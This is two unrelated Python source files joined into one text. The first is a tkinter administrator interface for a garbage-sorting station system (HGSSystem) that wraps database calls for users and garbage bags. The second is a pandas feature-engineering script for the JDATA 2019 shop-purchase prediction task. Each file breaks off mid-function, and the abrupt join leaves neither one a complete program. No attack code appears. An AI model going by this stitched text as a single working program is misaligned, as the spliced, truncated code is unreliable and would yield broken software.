<filename>tk_ui/admin.py import abc import tkinter as tk from tkinter import messagebox as msg from tkinter import ttk from _tkinter import TclError from conf import Config from core.garbage import GarbageBag from core.user import User from equipment.scan_garbage import write_gid_qr, write_all_gid_qr from equipment.scan_user import write_uid_qr, write_all_uid_qr from .event import TkEventMain from sql.db import DB, search_from_garbage_checker_user from sql.garbage import (create_new_garbage, search_garbage_by_fields, search_from_garbage_view, del_garbage, del_garbage_not_use, del_garbage_wait_check, del_garbage_has_check, del_garbage_where_scan_not_use, del_garbage_where_scan_wait_check, del_garbage_where_scan_has_check, del_garbage_where_not_use, del_garbage_where_wait_check, del_garbage_where_has_check, del_all_garbage, del_all_garbage_scan, update_garbage_check, update_garbage_type) from sql.user import (create_new_user, del_user, del_user_from_where, del_user_from_where_scan, search_user_by_fields, search_from_user_view, update_user_score, update_user_reputation, creat_user_from_csv, creat_auto_user_from_csv) from tool.tk import make_font from tool.typing import * class AdminStationBase(TkEventMain, metaclass=abc.ABCMeta): """ AdminStation基类 封装管理员的相关操作 主要是柯里化 sql相关函数 """ def __init__(self, db: DB): self._admin: Optional[User] = None self._db = db super(AdminStationBase, self).__init__() def get_db(self): return self._db def create_garbage(self, path: Optional[str], num: int = 1) -> "List[tuple[str, Optional[GarbageBag]]]": re = [] for _ in range(num): gar = create_new_garbage(self._db) assert gar if path is not None: res = write_gid_qr(gar.get_gid(), path, self._db) re.append(res) else: re.append(("", gar)) return re def export_garbage_by_gid(self, path: Optional[str], gid: gid_t) -> Tuple[str, Optional[GarbageBag]]: return write_gid_qr(gid, path, self._db) def export_garbage(self, path: Optional[str], where: str) -> List[Tuple[str]]: return write_all_gid_qr(path, self._db, where=where) def create_user(self, name: uname_t, passwd: <PASSWORD>, phone: str, manager: bool) -> Optional[User]: return create_new_user(name, passwd, phone, manager, self._db) def create_user_from_csv(self, path) -> List[User]: return creat_user_from_csv(path, self._db) def create_auto_user_from_csv(self, path) -> List[User]: return creat_auto_user_from_csv(path, self._db) def export_user_by_uid(self, path: str, uid: uid_t) -> Tuple[str, Optional[User]]: return write_uid_qr(uid, path, self._db) def export_user(self, path: str, where) -> List[str]: return write_all_uid_qr(path, self._db, where=where) def del_garbage_not_use(self, gid: gid_t) -> bool: return del_garbage_not_use(gid, self._db) def del_garbage_wait_check(self, gid: gid_t) -> bool: return del_garbage_wait_check(gid, self._db) def del_garbage_has_check(self, gid: gid_t) -> bool: return del_garbage_has_check(gid, self._db) def del_garbage(self, gid: gid_t) -> bool: return del_garbage(gid, self._db) def del_garbage_where_not_use(self, where) -> int: return del_garbage_where_not_use(where, self._db) def del_garbage_where_wait_check(self, where) -> int: return del_garbage_where_wait_check(where, self._db) def del_garbage_where_has_check(self, where) -> int: return del_garbage_where_has_check(where, self._db) def del_garbage_where_scan_not_use(self, where) -> int: return del_garbage_where_scan_not_use(where, self._db) def del_garbage_where_scan_wait_check(self, where) -> int: return del_garbage_where_scan_wait_check(where, self._db) def del_garbage_where_scan_has_check(self, where) -> int: return del_garbage_where_scan_has_check(where, self._db) def del_all_garbage_scan(self) -> int: return del_all_garbage_scan(self._db) def del_all_garbage(self) -> int: return del_all_garbage(self._db) def del_user(self, uid: uid_t) -> bool: return del_user(uid, self._db) def del_user_from_where_scan(self, where: str) -> int: return del_user_from_where_scan(where, self._db) def del_user_from_where(self, where: str) -> int: return del_user_from_where(where, self._db) def search_user(self, columns, uid, name, phone): return search_user_by_fields(columns, uid, name, phone, self._db) def search_user_advanced(self, columns, sql): return search_from_user_view(columns, sql, self._db) def search_garbage(self, columns, key_values: dict): return search_garbage_by_fields(columns, **key_values, db=self._db) def search_garbage_advanced(self, columns, sql): return search_from_garbage_view(columns, sql, self._db) def search_advanced(self, columns, sql): return search_from_garbage_checker_user(columns, sql, self._db) def update_user_score(self, score: score_t, where: str) -> int: return update_user_score(where, score, self._db) def update_user_reputation(self, reputation: score_t, where: str) -> int: return update_user_reputation(where, reputation, self._db) def update_garbage_type(self, type_: int, where: str): return update_garbage_type(where, type_, self._db) def update_garbage_check(self, check_: str, where: str): if check_ == 'pass': check = True elif check_ == 'fail': check = False else: return -1 return update_garbage_check(where, check, self._db) @abc.abstractmethod def login_call(self): ... def login(self, user: User) -> bool: if user is not None and user.is_manager(): self._admin = user return True else: return False def logout(self): if self._admin is not None: self._admin.destruct() self._admin = None def exit_(self): if self._admin is not None: self._admin.destruct() self._admin = None @abc.abstractmethod def show_loading(self, title: str): ... @abc.abstractmethod def stop_loading(self): ... @abc.abstractmethod def set_after_run(self, ms, func, *args): ... @abc.abstractmethod def to_menu(self, name: str = "主页"): ... @abc.abstractmethod def to_program(self, name: str = "欢迎页"): ... @abc.abstractmethod def show_msg(self, title, info, msg_type='提示'): ... @abc.abstractmethod def show_warning(self, title, info): ... @abc.abstractmethod def hide_msg(self): ... from . import admin_program as tk_program from . import admin_menu as tk_menu from . import admin_event as tk_event class AdminStation(AdminStationBase): """ AdminStation 管理员系统 使用tkinter作为GUI 构造与GarbageStation类似 """ def set_after_run(self, ms, func, *args): # super.__init__可能会调用 self.init_after_run_list.append((ms, func, args)) def __conf_set_after_run(self): for ms, func, args in self.init_after_run_list: self._window.after(ms, func, *args) def set_after_run_now(self, ms, func, *args): self._window.after(ms, func, *args) def __init__(self, db: DB, refresh_delay: int = Config.tk_refresh_delay): self.init_after_run_list: List[Tuple[int, Callable, Tuple]] = [] super().__init__(db) self.refresh_delay = refresh_delay self._window = tk.Tk() self.login_window = None self._sys_height = self._window.winfo_screenheight() self._sys_width = self._window.winfo_screenwidth() self._win_height = int(self._sys_height * (2 / 3) * Config.tk_manager_zoom) self._win_width = int(self._sys_width * (2 / 3) * Config.tk_manager_zoom) self.__conf_windows(before_load=True) self._full_screen = False self._is_loading = False self._disable_all_btn = False self._menu_now: Optional[Tuple[str, tk.Frame, tk_menu.AdminMenu]] = None self._program_now: Optional[Tuple[str, tk.Frame, tk_program.AdminProgram]] = None self.__conf_font_size() self.__conf_create_tk() self.__conf_create_menu() self.__conf_create_program() self.__conf_windows(before_load=False) self.__conf_tk() # 在所有的Creat完成后才conf_tk self.__show_login_window() # 显示登录窗口, Debug期间暂时注释该代码 self.__conf_set_after_run() def __conf_windows(self, before_load: bool = True): if before_load: self._window.title('HGSSystem: Manage Station') self._window.geometry(f'{self._win_width}x{self._win_height}') self._window['bg'] = Config.tk_win_bg self._window.resizable(False, False) self._window.protocol("WM_DELETE_WINDOW", lambda: self.main_exit()) self._window.title('HGSSystem: Manage Station 加载中') try: self._window.iconbitmap(Config.picture_d["logo-ico"]) except TclError: pass else: self._window.title('HGSSystem: Manage Station') def __conf_create_tk(self): self._menu_back = tk.Frame(self._window) self._menu_line = tk.Label(self._menu_back) # 下划线 self._menu_title: Tuple[tk.Label, tk.Variable] = (tk.Label(self._menu_back), tk.StringVar()) self._menu_dict: Dict[str, tk_menu.AdminMenu] = {} self._menu_list: List[str] = [] # 菜单回溯 self._program_back = tk.Frame(self._window) self._program_title: Tuple[tk.Label, tk.Variable] = (tk.Label(self._program_back), tk.StringVar()) self._program_dict: Dict[str, tk_program.AdminProgram] = {} self._win_ctrl_button: List[tk.Button, tk.Button, tk.Button] = [tk.Button(self._menu_back), tk.Button(self._menu_back), tk.Button(self._window), tk.Button(self._window), tk.Button(self._window)] self._msg_frame = tk.Frame(self._window) self._msg_line = tk.Label(self._msg_frame) self._msg_label = tk.Label(self._msg_frame), tk.Label(self._msg_frame), tk.StringVar(), tk.StringVar() self._msg_hide = tk.Button(self._msg_frame) self._loading_pro = ttk.Progressbar(self._window) def __conf_font_size(self, n: int = Config.tk_zoom): self._login_title_font_size = int(12 * n) self._login_btn_font_size = int(12 * n) self._win_ctrl_font_size = int(15 * n) self._menu_title_font_size = int(17 * n) self._program_title_font_size = int(14 * n) self._msg_font_size = int(20 * n) def __conf_tk(self, n: int = 1): self.__conf_win_ctrl_button() self.__conf_menu_title() self.__conf_menu(n) self.__conf_program_title() self.__conf_program(n) self.__conf_loading() self.__conf_msg() self.to_menu() # 显示主页面 self.to_program() def __conf_win_ctrl_button(self): title_font = make_font(size=self._win_ctrl_font_size) title_font_bold = make_font(size=self._win_ctrl_font_size, weight="bold") for bt in self._win_ctrl_button: bt: tk.Button bt['bg'] = Config.tk_btn_bg bt['font'] = title_font bt_main: tk.Button = self._win_ctrl_button[1] bt_main['text'] = '主页' bt_main['font'] = title_font_bold bt_main['command'] = lambda: self.__to_main_menu() bt_main.place(relx=0.02, rely=0.86, relwidth=0.96, relheight=0.06) bt_back: tk.Button = self._win_ctrl_button[0] bt_back['text'] = '后退' bt_back['font'] = title_font_bold bt_back['state'] = 'disable' bt_back['command'] = lambda: self.__to_back_menu() bt_back.place(relx=0.02, rely=0.93, relwidth=0.96, relheight=0.06) rely = 0.02 bt_help: tk.Button = self._win_ctrl_button[2] bt_help['text'] = '帮助' bt_help['command'] = lambda: self.to_program() bt_help.place(relx=0.81, rely=rely, relwidth=0.05, relheight=0.05) bt_about: tk.Button = self._win_ctrl_button[3] bt_about['text'] = '关于' bt_about['command'] = lambda: self.to_program("关于") bt_about.place(relx=0.87, rely=rely, relwidth=0.05, relheight=0.05) bt_exit: tk.Button = self._win_ctrl_button[4] bt_exit['text'] = '退出' bt_exit['command'] = lambda: self.main_exit() bt_exit.place(relx=0.93, rely=rely, relwidth=0.05, relheight=0.05) def set_ctrl_back_button(self): if len(self._menu_list) <= 1: self._win_ctrl_button[0]['state'] = 'disable' else: self._win_ctrl_button[0]['state'] = 'normal' def __to_main_menu(self): self._menu_list = [] self.to_menu() def __to_back_menu(self): assert len(self._menu_list) > 1 self._menu_list.pop() # 弹出最后一个元素 self.to_menu(self._menu_list.pop()) # 再弹出一个元素 def __conf_create_menu(self): frame_list = [] for i in tk_menu.all_menu: self._window.update() frame_list.append(i(self, self._menu_back, Config.tk_second_win_bg)) for i in frame_list: name = i.get_menu_title() self._menu_dict[name] = i def __conf_menu(self, n: int = 1): for i in self._menu_dict: menu = self._menu_dict[i] menu.conf_gui(Config.tk_btn_bg, n) def __conf_menu_title(self): self._menu_back['bg'] = Config.tk_second_win_bg self._menu_back['bd'] = 5 self._menu_back['relief'] = "ridge" title_font = make_font(size=self._menu_title_font_size, weight="bold") self._menu_title[0]['bg'] = Config.tk_second_win_bg self._menu_title[0]['font'] = title_font self._menu_title[0]['textvariable'] = self._menu_title[1] self._menu_line['bg'] = '#000000' # 不立即显示 def to_menu(self, name: str = "主页"): if self._menu_now is not None: self._menu_now[1].place_forget() menu = self._menu_dict.get(name) if menu is None: self._menu_title[1].set(f'菜单错误') self.show_msg("菜单错误", f"系统无法找到菜单:\n {name}") return name, frame = menu.get_menu_frame() self._menu_title[1].set(name) self._menu_back.place(relx=0.02, rely=0.02, relwidth=0.20, relheight=0.96) self._menu_line.place(relx=0.06, rely=0.065, relwidth=0.88, height=1) # 一个像素的高度即可 self._menu_title[0].place(relx=0.02, rely=0.02, relwidth=0.96, relheight=0.03) frame.place(relx=0.02, rely=0.07, relwidth=0.96, relheight=0.79) self._menu_list.append(name) self._menu_now = name, frame, menu self.set_ctrl_back_button() def __conf_program_title(self): self._program_back['bg'] = Config.tk_second_win_bg self._program_back['relief'] = "ridge" self._program_back['bd'] = 5 title_font = make_font(size=self._program_title_font_size, weight="bold") self._program_title[0]['bg'] = '#2468a2' self._program_title[0]['fg'] = "#F0F8FF" self._program_title[0]['font'] = title_font self._program_title[0]['anchor'] = 'w' self._program_title[0]['textvariable'] = self._program_title[1] # 不立即显示 def __conf_create_program(self): program_list = [] for i in tk_program.all_program: self._window.update() program_list.append(i(self, self._program_back, Config.tk_second_win_bg)) for i in program_list: name = i.get_title() self._program_dict[name] = i def __conf_program(self, n: int = 1): for i in self._program_dict: program = self._program_dict[i] program.conf_gui(n) def to_program(self, name: str = "欢迎页"): if self._program_now is not None: self._program_now[2].leave_program() self._program_now[1].place_forget() program = self._program_dict.get(name) if program is None: self._program_title[1].set(f' 程序加载错误') self.show_msg("程序错误", f"系统无法找到程序:\n {name}") return program.to_program() name, frame = program.get_program_frame() self.__show_program() self._program_title[1].set(f' {name}') self._program_title[0].place(relx=0.00, rely=0.00, relwidth=1, relheight=0.05) frame.place(relx=0.02, rely=0.06, relwidth=0.96, relheight=0.92) self._program_now = name, frame, program def __show_program(self): self._program_back.place(relx=0.26, rely=0.1, relwidth=0.68, relheight=0.84) def __hide_program(self): self._program_back.place_forget() def __conf_loading(self): self._loading_pro['mode'] = 'indeterminate' self._loading_pro['orient'] = 'horizontal' self._loading_pro['maximum'] = 50 def show_loading(self, _): self._is_loading = True self.set_all_btn_disable() self._loading_pro['value'] = 0 self._loading_pro.place(relx=0.30, rely=0.035, relwidth=0.48, relheight=0.03) self._loading_pro.start(50) def stop_loading(self): self._is_loading = False self._loading_pro.place_forget() self._loading_pro.stop() self.set_reset_all_btn() def __conf_msg(self): title_font = make_font(size=self._msg_font_size + 1, weight="bold") info_font = make_font(size=self._msg_font_size - 1) self._msg_frame['bg'] = Config.tk_second_win_bg self._msg_frame['bd'] = 5 self._msg_frame['relief'] = "ridge"
<reponame>WeavingWong/JDATA_2019-Cate_Shop_predict #!/usr/bin/python3 # -*- coding: utf-8 -*- # @Time : 2019/5/18 10:20 # @Author : chensw、wangwei # @File : make_features.py # @Describe: 标明文件实现的功能 # @Modify : 修改的地方 import pandas as pd import os import numpy as np def get_user_features(): # 统计U类特征 user_features = userAll[(userAll['action_time'] >= start_time) & (userAll['action_time'] <= end_time)] user_features = user_features[['user_id']].drop_duplicates() # (1)统计个人信息 Path = '../data/features/features_2_4/userInfo.csv' if os.path.exists(Path): userInfo = pd.read_csv(Path) else: userInfo = pd.read_csv('../data/processsed_data/jdata_user.csv') userInfo.age.fillna(userInfo.age.median(), inplace=True) userInfo.sex.fillna(userInfo.sex.mode()[0], inplace=True) userInfo.city_level.fillna(userInfo.city_level.mode()[0], inplace=True) userInfo.province.fillna(userInfo.province.mode()[0], inplace=True) userInfo.city.fillna(userInfo.city.mode()[0], inplace=True) userInfo.county.fillna(userInfo.county.mode()[0], inplace=True) print('Check any missing value?\n', userInfo.isnull().any()) df_user_reg_time = pd.get_dummies(userInfo.user_reg_time, prefix='reg_time') df_age = pd.get_dummies(userInfo.age, prefix='age') df_sex = pd.get_dummies(userInfo.sex) df_city_level = pd.get_dummies(userInfo.city_level, prefix='city_level') df_province = pd.get_dummies(userInfo.province, prefix='province') df_sex.rename(columns={0: 'female', 1: 'male', -1: 'unknown'}, inplace=True) userInfo = pd.concat( [userInfo[['user_id', 'user_reg_tm']], df_user_reg_time, df_age, df_sex, df_city_level, df_province], axis=1) del df_user_reg_time, df_age, df_sex, df_province, df_city_level userInfo.drop('user_reg_tm', axis=1, inplace=True) # userInfo.to_csv('../data/features/features_2_4/userInfo.csv', index=False, encoding='utf-8') user_features = pd.merge(user_features, userInfo, on='user_id', how='left').fillna(0) print('userInfo') # (2)统计用户的购买频次,用户的平均购买时间间隔, 最后一次购买距离考察周时间 Path = '../data/features/features_2_4/user_buy_info.csv' if os.path.exists(Path): user_buy_info = pd.read_csv(Path) else: userSub = userAll[(userAll['action_time'] <= end_time)] userSub = userSub[['user_id', 'action_time', 'type_2']] userSub = userSub.sort_values(['user_id', 'action_time']) userSub = userSub[(userSub.type_2 == 1)] usertmp = userSub.groupby(['user_id'])['action_time'].nunique().reset_index(name='ac_nunique') userSub = userSub.merge(usertmp, on='user_id', how='left') # print(userSub.head()) usertmp = userSub[userSub['ac_nunique'] >= 2].copy() usertmp['last_time'] = usertmp.groupby(['user_id'])['action_time'].shift(1) usertmp['last_time'] = usertmp['last_time'].fillna(-9999) usertmp = usertmp[usertmp['last_time'] != -9999] usertmp['jiange'] = (pd.to_datetime(usertmp['action_time']) - pd.to_datetime(usertmp['last_time'])).dt.days usertmp = usertmp.groupby(['user_id'])['jiange'].mean().reset_index() usertmp.columns = ['user_id', 'u_jiange_mean'] userSub = userSub.merge(usertmp, on='user_id', how='left') userSub = userSub[['user_id', 'ac_nunique', 'u_jiange_mean']].drop_duplicates() userSub = userSub.fillna(60) usertmp = userAll[(userAll['action_time'] <= end_time)] usertmp = usertmp[['user_id', 'action_time', 'type_2']].copy() usertmp = usertmp[(usertmp.type_2 == 1)] usertmp = usertmp.sort_values(['user_id', 'action_time']) usertmp = usertmp.drop_duplicates(['user_id'], keep='last') usertmp['u_b2_last_day_start'] = ( pd.to_datetime(label_time_start) - pd.to_datetime(usertmp['action_time'])).dt.days usertmp['u_b2_last_day_end'] = (pd.to_datetime(label_time_end) - pd.to_datetime(usertmp['action_time'])).dt.days userSub = userSub.merge(usertmp, on='user_id', how='left') userSub.drop(['type_2', 'action_time'], axis=1, inplace=True) # userSub.to_csv('../data/features/features_2_4/user_buy_info.csv', index=False, encoding='utf-8') user_buy_info = userSub.copy() user_features = pd.merge(user_features, user_buy_info, on=['user_id'], how='left'). \ fillna({'ac_nunique': 0, 'u_jiange_mean': 60, 'u_b2_last_day_start': 75, 'u_b2_last_day_end': 75}) print('user_buy_info') # (3)u_n_counts(用户的点击购买行为习惯) Path = '../data/features/features_2_4/u_n_counts.csv' if os.path.exists(Path): u_n_counts = pd.read_csv(Path) else: userSub = userAll[(userAll['action_time'] <= end_time)] typeCount = userSub[["user_id", "cate", "shop_id", "action_time", 'type_2']] # 用户考察周前一段时间内做出行为的种类数量 userSub = typeCount.groupby(['user_id'])['cate'].nunique() # 用户考察周前一段时间内做出行为的店铺数量 userSub = pd.concat([userSub, typeCount.groupby(['user_id'])['shop_id'].nunique()], axis=1) # 用户考察周前一段时间内做出行为的天数 userSub = pd.concat([userSub, typeCount.groupby(['user_id'])['action_time'].nunique()], axis=1) userSub.rename( columns={'cate': 'u_cate_counts', 'shop_id': 'u_shop_counts', 'action_time': 'u_active_days_in_all'}, inplace=True) userSub.reset_index(inplace=True) u_n_counts_in_all = userSub.copy() print(u_n_counts_in_all.info()) typeCount = userAll[(userAll['action_time'] >= end_time_7) & (userAll['action_time'] <= end_time)] typeCount = typeCount[["user_id", "action_time", 'type_1', 'type_2', 'type_3', 'type_4']] # 用户考察周前一周内做出行为的次数 userSub = typeCount[["user_id", 'type_1', 'type_2', 'type_3', 'type_4']] userSub = userSub.groupby(['user_id'], as_index=False).sum() userSub['u_b_count_in_7'] = userSub['type_1'] + userSub['type_2'] + userSub['type_3'] + userSub['type_4'] userSub['u_b1_count_in_7'] = userSub['type_1'] # 用户在考察周前7天的浏览(1)行为总量计数 userSub['u_b2_count_in_7'] = userSub['type_2'] # 用户在考察周前7天的下单(2)行为总量计数 userSub.drop(['type_1', 'type_2', 'type_3', 'type_4'], axis=1, inplace=True) # 用户考察周前一周内做出行为的天数 userSub = pd.concat([userSub, typeCount.groupby(['user_id'])['action_time'].nunique()], axis=1) userSub.rename(columns={'action_time': 'u_active_days_in_7'}, inplace=True) print(userSub.info()) userSub = pd.merge(u_n_counts_in_all, userSub, how='left', on='user_id').fillna(0) u_n_counts = userSub.copy() # u_n_counts.to_csv('../data/features/features_2_4/u_n_counts.csv', index=False, encoding='utf-8') user_features = pd.merge(user_features, u_n_counts, on='user_id', how='left').fillna(0) print('u_n_counts') user_features.to_csv('../data/features/features_2_4/user_features.csv', index=False, encoding='utf-8') print('user_features!!!!') return user_features def get_ucs_features(): # step2:构建UCS类特征 ucs_features = userAll[(userAll['action_time'] >= start_time) & (userAll['action_time'] <= end_time)] ucs_features = ucs_features[['user_id', 'cate', 'shop_id']].drop_duplicates() # (1)统计点击购买转化率,被收藏次数购买转化率, 购买评论转化率等 Path = '../data/features/features_2_4/ucs_b_rate.csv' if os.path.exists(Path): ucs_b_rate = pd.read_csv(Path) else: userSub = userAll[(userAll['action_time'] <= end_time)] userSub = userSub[['user_id', 'cate', 'shop_id', 'type_1', 'type_2', 'type_3', 'type_4']] userSub = userSub.groupby(['user_id', 'cate', 'shop_id'], as_index=False).sum() userSub['type_1_ratio'] = np.log1p(userSub['type_2']) - np.log1p(userSub['type_1']) userSub['type_3_ratio'] = np.log1p(userSub['type_2']) - np.log1p(userSub['type_3']) userSub['type_2_ratio'] = np.log1p(userSub['type_4']) - np.log1p(userSub['type_2']) userSub['ucs_b2_rate'] = userSub['type_2'] / ( userSub['type_1'] + userSub['type_2'] + userSub['type_3'] + userSub['type_4']).map( lambda x: x + 1 if x == 0 else x) userSub.drop(['type_1', 'type_2', 'type_3', 'type_4'], axis=1, inplace=True) ucs_b_rate = userSub.copy() # ucs_b_rate.to_csv('../data/features/features_2_4/ucs_b_rate.csv', index=False, encoding='utf-8') ucs_features = pd.merge(ucs_features, ucs_b_rate, on=['user_id', 'cate', 'shop_id'], how='left').fillna(0) print('ucs_b_rate') # (2)ucs_b_count_in_n(n=1/3/5/7/10; 用户对店铺—品类对在考察日前n天的行为总量计数) Path = '../data/features/features_2_4/ucs_b_count_in_n.csv' if os.path.exists(Path): ucs_b_count_in_n = pd.read_csv(Path) else: userSub = userAll[(userAll['action_time'] > end_time_1) & (userAll['action_time'] <= end_time)] userSub = userSub[['user_id', 'cate', 'shop_id', 'type_1', 'type_2', 'type_3', 'type_4']] userSub = userSub.groupby(['user_id', 'cate', 'shop_id'], as_index=False).sum() userSub['ucs_b_count_in_1'] = userSub['type_1'] + userSub['type_2'] + userSub['type_3'] + userSub['type_4'] userSub.drop(['type_1', 'type_2', 'type_3', 'type_4'], axis=1, inplace=True) ucs_b_count_in_1 = userSub.copy() userSub = userAll[(userAll['action_time'] >= end_time_3) & (userAll['action_time'] <= end_time)] userSub = userSub[['user_id', 'cate', 'shop_id', 'type_1', 'type_2', 'type_3', 'type_4']] userSub = userSub.groupby(['user_id', 'cate', 'shop_id'], as_index=False).sum() userSub['ucs_b_count_in_3'] = userSub['type_1'] + userSub['type_2'] + userSub['type_3'] + userSub['type_4'] userSub.drop(['type_1', 'type_2', 'type_3', 'type_4'], axis=1, inplace=True) ucs_b_count_in_3 = userSub.copy() userSub = userAll[(userAll['action_time'] >= end_time_5) & (userAll['action_time'] <= end_time)] userSub = userSub[['user_id', 'cate', 'shop_id', 'type_1', 'type_2', 'type_3', 'type_4']] userSub = userSub.groupby(['user_id', 'cate', 'shop_id'], as_index=False).sum() userSub['ucs_b_count_in_5'] = userSub['type_1'] + userSub['type_2'] + userSub['type_3'] + userSub['type_4'] userSub.drop(['type_1', 'type_2', 'type_3', 'type_4'], axis=1, inplace=True) ucs_b_count_in_5 = userSub.copy() userSub = userAll[(userAll['action_time'] >= end_time_7) & (userAll['action_time'] <= end_time)] userSub = userSub[['user_id', 'cate', 'shop_id', 'type_1', 'type_2', 'type_3', 'type_4']] userSub = userSub.groupby(['user_id', 'cate', 'shop_id'], as_index=False).sum() userSub['ucs_b_count_in_7'] = userSub['type_1'] + userSub['type_2'] + userSub['type_3'] + userSub['type_4'] userSub.drop(['type_1', 'type_2', 'type_3', 'type_4'], axis=1, inplace=True) ucs_b_count_in_7 = userSub.copy() userSub = userAll[(userAll['action_time'] >= end_time_10) & (userAll['action_time'] <= end_time)] userSub = userSub[['user_id', 'cate', 'shop_id', 'type_1', 'type_2', 'type_3', 'type_4']] userSub = userSub.groupby(['user_id', 'cate', 'shop_id'], as_index=False).sum() userSub['ucs_b_count_in_10'] = userSub['type_1'] + userSub['type_2'] + userSub['type_3'] + userSub['type_4'] userSub.drop(['type_1', 'type_2', 'type_3', 'type_4'], axis=1, inplace=True) ucs_b_count_in_10 = userSub.copy() ucs_b_count_in_n = pd.merge(ucs_b_count_in_10, ucs_b_count_in_7, on=['user_id', 'cate', 'shop_id'], how='left').fillna(0) ucs_b_count_in_n = pd.merge(ucs_b_count_in_n, ucs_b_count_in_5, on=['user_id', 'cate', 'shop_id'], how='left').fillna(0) ucs_b_count_in_n = pd.merge(ucs_b_count_in_n, ucs_b_count_in_3, on=['user_id', 'cate', 'shop_id'], how='left').fillna(0) ucs_b_count_in_n = pd.merge(ucs_b_count_in_n, ucs_b_count_in_1, on=['user_id', 'cate', 'shop_id'], how='left').fillna(0) # print(ucs_b_count_in_n.info()) # print(ucs_b_count_in_n.head()) # ucs_b_count_in_n.to_csv('../data/features/features_2_4/ucs_b_count_in_n.csv', index=False, encoding='utf-8') ucs_features = pd.merge(ucs_features, ucs_b_count_in_n, on=['user_id', 'cate', 'shop_id'], how='left').fillna(0) print('ucs_b_count_in_n') # (3)ucs_bi_count_in_n(n=3/5/7;i=1/2/3/4/5; 用户在考察日前n天的各类行为总量计数,) Path = '../data/features/features_2_4/ucs_bi_count_in_n.csv' if os.path.exists(Path): ucs_bi_count_in_n = pd.read_csv(Path) else: userSub = userAll[(userAll['action_time'] > end_time_1) & (userAll['action_time'] <= end_time)] userSub = userSub[['user_id', 'cate', 'shop_id', 'type_1', 'type_2']] userSub = userSub.groupby(['user_id', 'cate', 'shop_id'], as_index=False).sum() userSub['ucs_b1_count_in_1'] = userSub['type_1'] # 用户在考察周前1天的浏览(1)行为总量计数 userSub['ucs_b2_count_in_1'] = userSub['type_2'] # 用户在考察周前1天的下单(2)行为总量计数 userSub.drop(['type_1'], axis=1, inplace=True) userSub.drop(['type_2'], axis=1, inplace=True) ucs_bi_count_in_1 = userSub.copy() # print(ucs_bi_count_in_1.info()) # print(ucs_bi_count_in_1.ucs_b1_count_in_3.max()) userSub = userAll[(userAll['action_time'] >= end_time_3) & (userAll['action_time'] <= end_time)] userSub = userSub[['user_id', 'cate', 'shop_id', 'type_1', 'type_2', 'type_3', 'type_4']] userSub = userSub.groupby(['user_id', 'cate', 'shop_id'], as_index=False).sum() userSub['ucs_b1_count_in_3'] = userSub['type_1'] # 用户在考察周前3天的浏览(1)行为总量计数 userSub['ucs_b2_count_in_3'] = userSub['type_2'] # 用户在考察周前3天的下单(2)行为总量计数 userSub['ucs_b3_count_in_3'] = userSub['type_3'] # 用户在考察周前3天的关注(3)行为总量计数 userSub['ucs_b4_count_in_3'] = userSub['type_4'] # 用户在考察周前3天的评论(4)行为总量计数 userSub.drop(['type_1'], axis=1, inplace=True) userSub.drop(['type_2'], axis=1, inplace=True) userSub.drop(['type_3'], axis=1, inplace=True) userSub.drop(['type_4'], axis=1, inplace=True) ucs_bi_count_in_3 = userSub.copy() # print(ucs_bi_count_in_3.info()) # print(ucs_bi_count_in_3.ucs_b1_count_in_3.max()) userSub = userAll[(userAll['action_time'] >= end_time_5) & (userAll['action_time'] <= end_time)] userSub = userSub[['user_id', 'cate', 'shop_id', 'type_1', 'type_2', 'type_3', 'type_4']] userSub = userSub.groupby(['user_id', 'cate', 'shop_id'], as_index=False).sum() userSub['ucs_b1_count_in_5'] = userSub['type_1'] # 用户在考察周前5天的浏览(1)行为总量计数 userSub['ucs_b2_count_in_5'] = userSub['type_2'] # 用户在考察周前5天的下单(2)行为总量计数 userSub['ucs_b3_count_in_5'] = userSub['type_3'] # 用户在考察周前5天的关注(3)行为总量计数 userSub['ucs_b4_count_in_5'] = userSub['type_4'] # 用户在考察周前5天的评论(4)行为总量计数 userSub.drop(['type_1'], axis=1, inplace=True) userSub.drop(['type_2'], axis=1, inplace=True) userSub.drop(['type_3'], axis=1, inplace=True) userSub.drop(['type_4'], axis=1, inplace=True) ucs_bi_count_in_5 = userSub.copy() # print(ucs_bi_count_in_5.info()) # print(ucs_bi_count_in_5.ucs_b3_count_in_5.max()) userSub = userAll[(userAll['action_time'] >= end_time_7) & (userAll['action_time'] <= end_time)] userSub = userSub[['user_id', 'cate', 'shop_id', 'type_1', 'type_2', 'type_3', 'type_4']] userSub = userSub.groupby(['user_id', 'cate', 'shop_id'], as_index=False).sum() userSub['ucs_b1_count_in_7'] = userSub['type_1'] # 用户在考察周前7天的浏览(1)行为总量计数 userSub['ucs_b2_count_in_7'] = userSub['type_2'] # 用户在考察周前7天的下单(2)行为总量计数 userSub['ucs_b3_count_in_7'] = userSub['type_3'] # 用户在考察周前7天的关注(3)行为总量计数 userSub['ucs_b4_count_in_7'] = userSub['type_4'] # 用户在考察周前7天的评论(4)行为总量计数 userSub.drop(['type_1'], axis=1, inplace=True) userSub.drop(['type_2'], axis=1, inplace=True) userSub.drop(['type_3'], axis=1, inplace=True) userSub.drop(['type_4'], axis=1, inplace=True) ucs_bi_count_in_7 = userSub.copy() # print(ucs_bi_count_in_7.info()) # print(ucs_bi_count_in_7.ucs_b2_count_in_7.max()) userSub = userAll[(userAll['action_time'] >= end_time_10) & (userAll['action_time'] <= end_time)] userSub = userSub[['user_id', 'cate', 'shop_id', 'type_1', 'type_2', 'type_3', 'type_4']] userSub = userSub.groupby(['user_id', 'cate', 'shop_id'], as_index=False).sum() userSub['ucs_b1_count_in_10'] = userSub['type_1'] # 用户在考察周前10天的浏览(1)行为总量计数 userSub['ucs_b2_count_in_10'] = userSub['type_2'] # 用户在考察周前10天的下单(2)行为总量计数 userSub['ucs_b3_count_in_10'] = userSub['type_3'] # 用户在考察周前10天的关注(3)行为总量计数 userSub['ucs_b4_count_in_10'] = userSub['type_4'] # 用户在考察周前10天的评论(4)行为总量计数 userSub.drop(['type_1'], axis=1, inplace=True) userSub.drop(['type_2'], axis=1, inplace=True) userSub.drop(['type_3'], axis=1, inplace=True) userSub.drop(['type_4'], axis=1, inplace=True) ucs_bi_count_in_10 = userSub.copy() # print(ucs_bi_count_in_10.info()) # print(ucs_bi_count_in_10.ucs_b2_count_in_10.max()) ucs_bi_count_in_n = pd.merge(ucs_bi_count_in_10, ucs_bi_count_in_7, on=['user_id', 'cate', 'shop_id'], how='left').fillna(0) ucs_bi_count_in_n = pd.merge(ucs_bi_count_in_n, ucs_bi_count_in_5, on=['user_id', 'cate', 'shop_id'], how='left').fillna(0) ucs_bi_count_in_n = pd.merge(ucs_bi_count_in_n, ucs_bi_count_in_3, on=['user_id', 'cate', 'shop_id'], how='left').fillna(0) 